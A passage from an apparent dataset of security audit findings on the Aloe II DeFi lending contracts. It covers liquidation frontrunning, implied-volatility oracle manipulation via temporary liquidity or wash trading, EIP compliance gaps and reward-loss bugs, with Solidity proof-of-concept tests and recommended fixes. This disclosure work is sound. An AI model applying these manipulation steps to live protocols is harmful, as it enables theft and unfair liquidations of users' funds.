therefore the borrower will not get liquidated at all, which could ultimately lead to a loss of Funds for the Lender, when the Borrower starts to accrue bad Debt. \n\n## Impact\n\n- No incentive to call `warn` --> Borrower will not get liquidated\n- Loss of funds for Lender, because Borrower might accrue bad debt\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L148-L173\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIncentivice the call of warn, to at least pay a small amount of eth (similiar to the ANTE), to ensure liquidation is going to happen.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//008-M/145.md"}} +{"title":"Borrower can be his own liquidator","severity":"medium","body":"Radiant Cotton Shrimp\n\nmedium\n\n# Borrower can be his own liquidator\n## Summary\n\nA borrower can be his own liquidator\n\n## Vulnerability Detail\n\nIn Borrower.sol, anybody can call liquidate to liquidate a user's position, including the borrower. \n\n```solidity\n function liquidate(ILiquidator callee, bytes calldata data, uint256 strain, uint40 oracleSeed) external {\n uint256 slot0_ = slot0;\n // Essentially `slot0.state == State.Ready`\n require(slot0_ & SLOT0_MASK_STATE == 0);\n slot0 = slot0_ | (uint256(State.Locked) << 248);\n\n uint256 priceX128;\n uint256 liabilities0;\n uint256 liabilities1;\n uint256 incentive1;\n {\n```\n\nThis should not be the case. Borrower should not be the liquidator, otherwise the borrower can just liquidate himself to gain the liquidator rewards\n\n## Impact\n\nBorrower will get his own liquidator rewards\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L193-L206\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRecommend checking that the borrower is not the liquidator","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//008-M/106.md"}} +{"title":"It is possible to frontrun liquidations with self liquidation with high strain value to clear warning and keep unhealthy positions from liquidation","severity":"medium","body":"Loud Cloud Salamander\n\nhigh\n\n# It is possible to frontrun liquidations with self liquidation with high strain value to clear warning and keep unhealthy positions from liquidation\n## Summary\n\nAccount liquidation involving asset swaps requires warning the account first via `warn`. Liquidation can only happen `LIQUIDATION_GRACE_PERIOD` (2 minutes) after the warning. The problem is that any liquidation clears the warning state, including partial liquidations even with very high strain value. This makes it possible to frontrun any liquidation (or just submit transactions as soon as LIQUIDATION_GRACE_PERIOD expires) by self-liquidating with very high strain amount (which basically keeps position unchanged and still unhealthy). This clears the warning state and allows account to be unliquidatable for 2 more minutes, basically preventing (DOS'ing) liquidators from performing their job.\n\nMalicious user can open a huge borrow position with minimum margin and can keep frontrunning liquidations this way, basically allowing unhealthy position remain active forever. This can easily lead to position going into bad debt and causing loss of funds for the other protocol users (as they will not be able to withdraw all their funds due to account's bad debt).\n\n## Vulnerability Detail\n\n`Borrower.warn` sets the time when the liquidation (involving swap) can happen:\n```solidity\nslot0 = slot0_ | ((block.timestamp + LIQUIDATION_GRACE_PERIOD) << 208);\n```\n\nBut `Borrower.liquidation` clears the warning regardless of whether account is healthy or not after the repayment:\n```solidity\n_repay(repayable0, repayable1);\nslot0 = (slot0_ & SLOT0_MASK_POSITIONS) | SLOT0_DIRT;\n```\n\n## Impact\n\nVery important protocol function (liquidation) can be DOS'ed and make the unhealthy accounts avoid liquidations for a very long time. Malicious users can thus open huge risky positions which will then go into bad debt causing loss of funds for all protocol users as they will not be able to withdraw their funds and can cause a bank run - first users will be able to withdraw, but later users won't be able to withdraw as protocol won't have enough funds for this.\n\n## Proof of concept\n\nThe scenario above is demonstrated in the test, add this to Liquidator.t.sol:\n```solidity\nfunction test_liquidationFrontrun() public {\n uint256 margin0 = 1595e18;\n uint256 margin1 = 0;\n uint256 borrows0 = 0;\n uint256 borrows1 = 1e18 * 100;\n\n // Extra due to rounding up in liabilities\n margin0 += 1;\n\n deal(address(asset0), address(account), margin0);\n deal(address(asset1), address(account), margin1);\n\n bytes memory data = abi.encode(Action.BORROW, borrows0, borrows1);\n account.modify(this, data, (1 << 32));\n\n assertEq(lender0.borrowBalance(address(account)), borrows0);\n assertEq(lender1.borrowBalance(address(account)), borrows1);\n assertEq(asset0.balanceOf(address(account)), borrows0 + margin0);\n assertEq(asset1.balanceOf(address(account)), borrows1 + margin1);\n\n _setInterest(lender0, 10100);\n _setInterest(lender1, 10100);\n\n account.warn((1 << 32));\n\n uint40 unleashLiquidationTime = uint40((account.slot0() >> 208) % (1 << 40));\n assertEq(unleashLiquidationTime, block.timestamp + LIQUIDATION_GRACE_PERIOD);\n\n skip(LIQUIDATION_GRACE_PERIOD + 1);\n\n // listen for liquidation, or be the 1st in the block when warning is cleared\n // liquidate with very high strain, basically keeping the position, but clearing the warning\n account.liquidate(this, bytes(\"\"), 1e10, (1 << 32));\n\n unleashLiquidationTime = uint40((account.slot0() >> 208) % (1 << 40));\n assertEq(unleashLiquidationTime, 0);\n\n // the liquidation command we've frontrun will now revert (due to warning not set: \"Aloe: grace\")\n vm.expectRevert();\n account.liquidate(this, bytes(\"\"), 1, (1 << 32));\n}\n```\n\n## Code Snippet\n\n`Borrower.warn` sets the liquidation timer:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L171\n\n`Borrower.liquidate` clears it regardless of strain:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L281\n\nThis makes **any** liquidation (even the one which doesn't affect assets much due to high strain amount) clear the warning.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider clearing \"warn\" status only if account is healthy after liquidation.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//008-M/029-best.md"}} +{"title":"`Lender.sol` is not fully compliant with `EIP2612`","severity":"medium","body":"Trendy Strawberry Skunk\n\nmedium\n\n# `Lender.sol` is not fully compliant with `EIP2612`\n## Summary\n`Lender.sol` is not fully compliant with `EIP2612`\n\n## Vulnerability Detail\nPer the contest readme.md, `Lender.sol` is compliant with `EIP2612`.\n\n> Is the code/contract expected to comply with any EIPs? Are there specific assumptions around adhering to those EIPs that Watsons should be aware of?\nThe Lender complies with ERC4626 and EIP2612.\n\nAs per the [`ERC-2612`](https://eips.ethereum.org/EIPS/eip-2612) which is used as permit Extension for EIP-20 Signed Approvals.\n\n> Specification\nCompliant contracts must implement 3 new functions in addition to EIP-20:\nfunction permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external\nfunction nonces(address owner) external view returns (uint)\nfunction DOMAIN_SEPARATOR() external view returns (bytes32)\n\n1) `Permit()` is used in contract and the function is incompliance with EIP2612.\n2) `nonces()` is missing therefore the `Lender.sol` is not in compliance with EIP2612. It should be noted here that `nonce` function is `MUST` requirement of `EIP2612`. Therefore this requirement can not be omitted. Per the defination of `MUST` as per [RFC-2119](https://datatracker.ietf.org/doc/html/rfc2119)\n\n> MUST This word, or the terms \"REQUIRED\" or \"SHALL\", mean that the definition is an absolute requirement of the specification.\n\nTherefore, nonce() must be added in contract for proper compliance.\n\n3) `DOMAIN_SEPARATOR()` is used incorrectly in contract. It should be noted that `Lender.sol` inherits `Ledger.sol` and `DOMAIN_SEPARATOR()` is a part of `Ledger.sol`\n\n`DOMAIN_SEPARATOR()` used in the contract is given as below,\n\n```Solidity\n function DOMAIN_SEPARATOR() public view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n keccak256(\"EIP712Domain(string version,uint256 chainId,address verifyingContract)\"),\n keccak256(\"1\"),\n block.chainid,\n address(this)\n )\n );\n }\n```\n\nThe above given function does not comply the `EIP2612` as the `EIP2612` states,\n\n> DOMAIN_SEPARATOR is defined according to EIP-712. The DOMAIN_SEPARATOR should be unique to the contract and chain to prevent replay attacks from other domains, and satisfy the requirements of EIP-712.\n\nThe `DOMAIN_SEPARATOR` should be like this,\n\n```Solidity\nDOMAIN_SEPARATOR = keccak256(\n abi.encode(\n keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),\n keccak256(bytes(name)),\n keccak256(bytes(version)),\n chainid,\n address(this)\n));\n```\n\nTherefore, `DOMAIN_SEPARATOR()` should be corrected.\n\n## Impact\n`Lender.sol` breaks the design integration with `EIP2612` and could result in expected behaviour which is not desired. Being EIP2612 is the core requirement of `Lender.sol`\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L128\n\n## Tool used\nManual Review\n\n## Recommendation\nCorrectly follow EIP2612. Add the `nonces()` function which is a must requirement here also correct the `DOMAIN_SEPARATOR()` function as stated in EIP2612","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//007-M/149-best.md"}} +{"title":"The Lender contract is not fully EIP-4626 compliant, leading to confusion when interacting with it","severity":"medium","body":"Dapper Concrete Porcupine\n\nmedium\n\n# The Lender contract is not fully EIP-4626 compliant, leading to confusion when interacting with it\n## Summary\n\nThe `Lender.sol` contract, which inherits from `Ledger.sol`, does not return true on `supportsInterface(ERC20)`. This issue makes it incompatible with the EIP-4626 specification, potentially causing confusion when other protocols integrate with a `Lender.sol` vault.\n\n## Vulnerability Detail\n\nThe `Lender.sol` vault contract should be fully EIP-4626 compliant, meeting all aspects of the specification except for one requirement:\n\n> All EIP-4626 tokenized Vaults MUST implement EIP-20 to represent shares.\n> \n\nFor the contract to be fully EIP-20 compliant, it should also support ERC20 as per EIP-165, which it currently does not.\n\n```solidity\nfunction supportsInterface(bytes4 interfaceId) external pure returns (bool) {\n\t// @audit it will return false on IERC20\n\treturn\n\t\tinterfaceId == type(IERC165).interfaceId ||\n\t\tinterfaceId == type(IERC2612).interfaceId ||\n\t\tinterfaceId == type(IERC4626).interfaceId;\n}\n\n```\n\nMore information about EIP-165 can be found here:\n\n[[EIP-165](https://eips.ethereum.org/EIPS/eip-165)](https://eips.ethereum.org/EIPS/eip-165)\n\n## Impact\n\nThe vault is expected to be fully EIP-4626 compliant, and other protocols integrating with it assume this as well. However, the current state of affairs can lead to confusion and issues during such integrations, potentially resulting in a loss of value.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L95-L100\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to modify the `supportsInterface()` function in `Ledger.sol` to ensure full EIP-4626 compliance:\n\n```solidity\nfunction supportsInterface(bytes4 interfaceId) external pure returns (bool) {\n\treturn\n\t\tinterfaceId == type(IERC20).interfaceId ||\n\t\tinterfaceId == type(IERC165).interfaceId ||\n\t\tinterfaceId == type(IERC2612).interfaceId ||\n\t\tinterfaceId == type(IERC4626).interfaceId;\n}\n\n```\n\nThese changes will address the issue and align the vault with the EIP-4626 specification.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//007-M/136.md"}} +{"title":"Lender.sol Failure to comply with the EIP-2612","severity":"medium","body":"Round Licorice Marmot\n\nmedium\n\n# Lender.sol Failure to comply with the EIP-2612\n## Summary\nLender.sol Failure to comply with the EIP-2612\n## Vulnerability Detail\nAccording to the README.md\n\n> Q: Is the code/contract expected to comply with any EIPs? Are there specific assumptions around adhering to those EIPs that Watsons should be aware of?\nThe Lender complies with ERC4626 and EIP2612.\n\n> Q: On what chains are the smart contracts going to be deployed?\nmainnet, Arbitrum, Optimism, Base\n\nAccording to [Eip2612 Doc](https://eips.ethereum.org/EIPS/eip-2612):\nCompliant contracts must implement 3 new functions in addition to EIP-20:\nfunction permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external\nfunction nonces(address owner) external view returns (uint)\nfunction DOMAIN_SEPARATOR() external view returns (bytes32)\n\nThe DOMAIN_SEPARATOR should be unique to the contract and chain to prevent replay attacks from other domains.\n\n## Impact\nIn Lender.sol, there is no implementation of nonces() and DOMAIN_SEPARATOR(). The contract will also be deployed on the mainnet, Arbitrum, Optimism, and Base chains, which poses a potential replay attack vulnerability.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L345\n## Tool used\n\nManual Review\n\n## Recommendation\nProperly implement nonces() and DOMAIN_SEPARATOR().","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//007-M/084.md"}} +{"title":"IV can be manipulated to return the maximum IV value on the next write","severity":"major","body":"Faint Bronze Millipede\n\nmedium\n\n# IV can be manipulated to return the maximum IV value on the next write\n## Summary\nVolatility oracles update function can be used to manipulate the next IV and potentially write it to the maximum possible amount as constricted by the IV_CHANGE_PER_UPDATE. This can lead to liquidation of a borrower and it is easy for a liquidator to manipulate the IV.\n## Vulnerability Detail\nThe update function in the Volatility oracle is a public function that writes the latest IV after conducting certain validations, as detailed here:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/VolatilityOracle.sol#L45-L94\n\nWe can observe from this link that the change in IV is capped by IV_CHANGE_PER_UPDATE for both downward and upward movements of IV:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/VolatilityOracle.sol#L82-L84\n\nFrom the following link, we can see the impact of IV on price calculations. It indicates that a higher IV results in a broader spread between price.a and price.b from the price.c TWAP price:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/BalanceSheet.sol#L103-L112\n\nShifting our focus back to the update function within the Volatility oracle, there's a potential for its misuse to report a manipulated value equal to the previous IV + IV_CHANGE_PER_UPDATE, representing the maximum IV movement in either direction.\n\nConsidering the estimate function, we must examine the tickTVL and its potential manipulation. The relevant code can be found here:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Volatility.sol#L44-L81\n\nIt's noteworthy that the current tick and liquidity are parameters that can be easily manipulated in any Uniswapv3 pool, as they are directly sourced from the Uniswap v3 slot0. If a liquidator were to adjust the current tick by swapping a substantial amount of either token0 or token1, they could significantly influence the tickTVL (recall that tickTVL represents TVL in terms of token1). The resulting volatility (IV) would also shift, as observed here:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Volatility.sol#L79\n\nIn essence, a higher tickTVL results in a lower return value, and conversely, a lower tickTVL results in a higher return value.\n\nEven though the manipulated IV would be confined by IV_CHANGE_PER_UPDATE, a malicious actor can still alter the IV to its maximum range, defined by IV_CHANGE_PER_UPDATE, and leverage this to liquidate a borrower.\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/VolatilityOracle.sol#L45-L94\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/VolatilityOracle.sol#L82-L84\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/BalanceSheet.sol#L103-L112\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Volatility.sol#L44-L81\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Volatility.sol#L79\n## Tool used\n\nManual Review\n\n## Recommendation\nUse the twap price and the average liquidity, also check the manipulation of twap as its done in the BalanceSheet library via comparing it with metrics.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//006-H/125.md"}} +{"title":"Implied Volatility can be manipulated and takes a long time to recover, which can lead to bad debt","severity":"major","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Implied Volatility can be manipulated and takes a long time to recover, which can lead to bad debt\n## Summary\n\nImplied Volatility (IV) can be manipulated in steps to reach a value close to 0 due to its dependence on spot [`pool.liquidity()`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/VolatilityOracle.sol#L62). \nLow `IV` indicates low volatility market which allows for a high LTV ratio. As soon as the manipulation stops, the `IV` needs a lot of time to recover to a value which reflects the actual market, as it can only be incremented by a maximum value of `IV_CHANGE_PER_UPDATE` every hour.\nThis beats the whole purpose of having a dynamic LTV ratio which is supposed to adjust to the market conditions, since it can be manipulated. \n\n## Vulnerability Detail\n\nStarting point for `IV` as the market is created is the `IV_COLD_START` value.\nSince it's possible in a single transaction:\n1) Provide liquidity to Uniswap (increasing `pool.liquidity()`).\n2) Call `update` on the `VolatilityOracle` and manipulate `IV`.\n3) Withdraw liquidity from Uniswap.\n\nIf we take the `IV_COLD_START=0.127921282726e12` as a starting point it only takes ~76 hours to bring `IV` close to 0, since `IV_CHANGE_PER_UPDATE = 1666663200` and `IV` is updated every hour.\n\nSetting `IV` to such a small value achieves having LTV ratio at its maximum value. As the manipulation stops `IV` can only be incremented by a maximum value of [`IV_CHANGE_PER_UPDATE` every hour](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/VolatilityOracle.sol#L82).\n\nIt would take days for `IV` to recover to a value that reflects the actual market.\n\nNote that a IV manipulation concern has been brought up in the previous BlockSec audit in section 2.2.3: https://drive.google.com/file/d/1aWEkCTTcuEnupf6nbIsqWy38igsj9-Hx/view\n\nThe sponsor said that this issue is fixed by having a rate limit for IV to change.\n\nThis report goes a step beyond the BlockSec report by showing that the rate limit IS the problem and not the fix.\nFor when the IV should increase after manipulation, it can take days.\n\nThe fix must make manipulation more difficult, as described in the Recommendation section.\n\n## Impact\nAs the attacker drops the `IV` to a value close to 0, the LTV ratio will be at its maximum value. `IV` is used to calculate the `sqrtScaler` which is clamped to `PROBE_SQRT_SCALER_MIN` and `PROBE_SQRT_SCALER_MAX`.\nIn practical terms this means that low `IV` result in the LTV ratio being at 90%. Since it takes substantial time to increase the `IV` value as described in the previous section, there is a high likelihood that a spike in price can leave the system in a state of debt. \nThe biggest issue lies in the fact that `IV` cannot recover fast enough to detect this. Implied volatility is at the core of the system and was intended to dynamically adjust the LTV ratio to the market conditions. \nNot handling this correctly means each market can be manipulated to a state of maximum LTV for several days. \n\n## Code Snippet\n\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/Volatility.sol#L51\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/VolatilityOracle.sol#L62\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSimilar how [`feeGrowthGlobals`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/VolatilityOracle.sol#L32) are tracked, \n`pool.liquidity()` should be tracked historically and use only historical values while calculating Implied Volatility (IV).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//006-H/109.md"}} +{"title":"IV Can be Decreased for Free","severity":"major","body":"Warm Orange Dragon\n\nhigh\n\n# IV Can be Decreased for Free\n## Summary\n\nThe liquidity parameter used to calculate IV costs nothing to massively manipulate upwards and doesn't require a massive amount of capital. This makes IV easy to manipulate downwards.\n\n## Vulnerability Detail\n\nThe liquidity at a single `tickSpacing` is used to calcualte the `IV`. The more liquidity is in this tick spacing, the lower the `IV`, as demonstarated by the `tickTvl` dividing the return value of the `estimate` function:\n\n```solidity\n return SoladyMath.sqrt((4e24 * volumeGamma0Gamma1 * scale) / (b.timestamp - a.timestamp) / tickTvl);\n```\n\nSince this is using data only from the block that the function is called, the liuquidyt can easily be increased by: \n\n1. depositing a large amount liquidity into the `tickSpacing`\n2. calling update\n3. removing the liquidity\n\nNote that only a small portion of the total liquidity is in the entire pool is in the active liquidity tick. Therefore, the capital cost required to massively increase the liquidity is low. Additionally, the manipulation has zero cost (aside from gas fees), as no trading is done through the pool. Contract this with a pool price manipulation, which costs a significant amount of trading fees to trade through a large amount of the liquidity of the pool.\n\nSince this manipulation costs nothing except gas, the `IV_CHANGE_PER_UPDATE` which limits of the amount that IV can be manipulated per update does not sufficiently disincentivise manipulation, it just extends the time period required to manipulate.\n\nDecreasing the IV increases the LTV, and due to the free cost, its reasonable to increase the LTV to the max LTV of 90% even for very volatile assets. Aloe uses the IV to estimate the probability of insolvency of loans. With the delay inherent in TWAP oracle and the liquidation delay by the `warn`-then-liquidate process, this manipulation can turn price change based insolvency from a 5 sigma event (as designed by the protocol) to a likely event.\n\n## Impact\n\n- Decreasing IV can be done at zero cost aside from gas fees. \n- This can be used to borrow assets at far more leverage than the proper LTV\n- Borrowers can use this to avoid liquidation\n- This also breaks the insolvency estimation based on IV for riskiness of price-change caused insolvency.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Volatility.sol#L44-L81\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the time weighted average liquidity of in-range ticks of the recent past, so that single block + single tickSpacing liquidity deposits cannot manipulate IV significantly.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//006-H/063-best.md"}} +{"title":"Uniswap Aggregated Fees Can be Increased at Close to Zero Cost","severity":"major","body":"Warm Orange Dragon\n\nhigh\n\n# Uniswap Aggregated Fees Can be Increased at Close to Zero Cost\n## Summary\n\nThe recorded fee collection in a Uniswap pool can be manipulated in the method described below while paying very little in \"real\" fees. This means that `IV` can be pushed upwards to unfairly liquidate pre-existing borrowers.\n\n## Vulnerability Detail\n\nIn a sufficiently liquid pool and high trading volume, the potential attack profits you may get from swapping a large amount of tokens back and forth is likely lower than the profit an attacker can make from manipulating IV. This is especially true due to the `IV_CHANGE_PER_UPDATE` which limits of the amount that IV can be manipulated per update.\n\nHowever, its possible to boost the recorded trading fees via trading fees while paying a very small cost relative to the fee increase amount.\n\nThe attack rests on 2 facts:\n\n1. Aside from pools where the 2 pool assets are pegged to the same value, only a tiny portion of the total liquidity is in the \"in-range\" `tickSpacing`. \n2. In Uniswap, 100% of fees goes to the liquidity providers, in proportion to liquidity at the active tick, or ticks that gets passed through. This is different from other exchanges, where some portion of fees is distrubted to token holders, or the exchange operator.\n\nDue to (1), a user with a large amount of capital can deposit all of it in the active tick and have >99% of the liquidity in the active tick. Due to (2), this also means that if they wash trade while keeping the price within that tick, they get >99% of the trading fees captured by their LP position. If $200K is deposited into that tick, then up to $200k can be traded, if the pool price starts exactly at the lower tick and ends at the upper tick, or vice versa. \n\nThe wash trading can performed in one flashbots bundle, and since the trades are basically against the oneself, the trading profits-and-loss and impermanant gain/loss approximately cancel out.\n\nManipulating fees higher drives the `IV` higher, which in turn reduces the `LTV`. Let's say a position is not liquidatable yet, but a reduction in LTV will make that position liquidatable. There is profit incentive for an attacker to use the wash trading manipulation to decrease the LTV and then liquidate that position.\n\nNote that this efficiency in wash trading to inflate fees is only possible in Uniswap v3. In v2 style pools, liquidity cannot be concentrated and it is impractical to deposit enough liquidity to capture the overwhelming majority of an entire pool. Most CLOB such as dYdX, IDEX etc have some fees that go to the protocol or token stakers (Uniswap 100% of \"taker\" fees go to LP's or \"makers\"), which means that even though a maker and taker order can be matched by wash traders, there is still significant fee externalisation to the protocol.\n\n## Impact\n\n- `IV` is cheaply and easily manipulated upwards, and thus `LTV` can be decreased, which can unfairly liquidate users\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Volatility.sol#L44-L81\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUsing the MEDIAN fee of many short price intervals to calculate the Uniswap fees makes it more difficult to manipulate. The median, unlike mean (which is also implicitly used in the context a TWAP), is unaffected by large manipulations in a single block.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//006-H/045.md"}} +{"title":"Users can lose rewards if they call claimRewards() before rewardsToken assigned","severity":"medium","body":"Eager Oily Dachshund\n\nmedium\n\n# Users can lose rewards if they call claimRewards() before rewardsToken assigned\n## Summary\n\nusers can lost rewards if they call `claimRewards()` before rewardsToken assigned\n\n## Vulnerability Detail\n\n `safeTransfer()` in `solmate` library don't check the existence of code at the token address. Because of this if `safeTransfer() `called on a token address that doesn't have a contract in it will always return success.\nrewardsRates and rewardsToken is initially zero. if the protocol intends to reward early users and sets the rewards rate before deploying the actual reward token, users begin accumulating rewards. \nWhen a user checks their rewards using `lender.rewardsOf(address) `and attempts to claim those rewards using `claimRewards()`, this wont fail. Because of the `safeTransfer()` function which returns true when `rewardsToken` is not set. As a result, users can lose their rewards.\n\nhere is the POC:\n```solidity\n function test_claimRewardsWithNoToken() public {\n uint56 rate = uint56(bound(100, REWARDS_RATE_MIN, REWARDS_RATE_MAX));\n address holder= address(123456);\n vm.prank(factory.GOVERNOR());\n factory.governRewardsRate(lender, rate);\n\n Lender[] memory lenders = new Lender[](1);\n lenders[0] = lender;\n\n // rewardsToken not assigned\n assertEq(address(factory.rewardsToken()), address(0));\n\n asset.mint(address(lender), 1e18);\n lender.deposit(1e18, holder);\n\n skip(2 days);\n // Rewards accruing after deposit \n assertGt(lender.rewardsOf(holder), 0);\n\n // User can claimRewards without rewardsToken \n vm.prank(holder);\n factory.claimRewards(lenders, address(this));\n // User lost rewards\n assertEq(lender.rewardsOf(holder), 0);\n }\n```\n\n## Impact\n\nUser can lost their initial rewards\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Factory.sol#L242\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a check for rewardsToken in `claimRewards()`\n```solidity\n function claimRewards(Lender[] calldata lenders, address beneficiary) external returns (uint256 earned) {\n // Couriers cannot claim rewards because the accounting isn't quite correct for them. Specifically, we\n // save gas by omitting a `Rewards.updateUserState` call for the courier in `Lender._burn`\n require(!isCourier[msg.sender]);\n+ require(address(rewardsToken)!= address(0));\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//005-M/082-best.md"}} +{"title":"Solmate's safeTransferLib does not check if a token address has associated code with it, which may cause loss of funds.","severity":"medium","body":"Happy Sable Gorilla\n\nfalse\n\n# Solmate's safeTransferLib does not check if a token address has associated code with it, which may cause loss of funds.\n## Summary\nThe lack of contract existence check upon a transfer can lead to messed accounting and loss of funds.\n\n## Vulnerability Detail\nThere is a key difference between the implementations of OZ's `safeERC20` and Solmate's `safeTransferLib`. The latter does not check if the `token` address has associated code with it. This responsibility is delegated to the caller as stated in the NatSpec [documentation](https://github.com/transmissions11/solmate/blob/main/src/utils/SafeTransferLib.sol#L9) of Solmate's `safeTransferLib`. This can mess up the accounting due to the fact that `safeTransfer` and `safeTransferFrom` won't revert if a non-existent token is passed. Consider the following:\n\n The `GOVERNOR` has the ability to set `rewardsToken` in `Factory`. Because of the following check `address(rewardsToken) == address(0));` it is made clear that this `token` can be set only once. There are no checks implemented if the `token` address actually contains code so what can happen is that the `GOVERNOR` , either by mistake or willingly, can set `rewardsToken` to an address that has no code within it. This will DOS the protocol because as mentioned above `rewardsToken` can be set only once and although it is not actually a `token` transfers will succeed but no `tokens` are being transferred in reality. \n\n## Impact\nLenders have no incentive to give loans.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L272-L274\n\n## Tool used\n\nManual Review\n\n## Recommendation\nPrior to `safeTransfer` or `safeTransferFrom` add code existence checks. Also check the balance before the `transfer` and after to ensure tokens are actually being transfered.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//005-M/075.md"}} +{"title":"Loss of rewards due to use of solmate's `safeTransfer`","severity":"medium","body":"Fun Currant Poodle\n\nmedium\n\n# Loss of rewards due to use of solmate's `safeTransfer`\n## Summary\nLenders/Beneficiaries may lose their rewards due to use of solmate's `safeTransfer` for rewardsToken.\n## Vulnerability Detail\n\n> Is the admin/owner of the protocol/contracts TRUSTED or RESTRICTED?\n> Restricted. The governor address should not be able to steal funds or prevent users from withdrawing.\n\n1. Governor is able to change to `rewardsToken` address to any address (maybe an invalid address) in Factory contract:\n```solidity\nfunction governRewardsToken(ERC20 rewardsToken_) external {\n require(msg.sender == GOVERNOR && address(rewardsToken) == address(0));\n rewardsToken = rewardsToken_;\n}\n```\n2. Governor may not change rewardsToken address and keep it 0, because the default value for rewardsToken is 0 after deployment.\n\nIn both cases (1 and 2): after calling `claimRewards` the protocol thinks the rewards are sent successfully and sets the lender earned rewards to 0 but actually they are not transferred. (see Factory#claimRewards)\n\n## Impact\nWhether the rewardsToken is a valid or invalid address, the 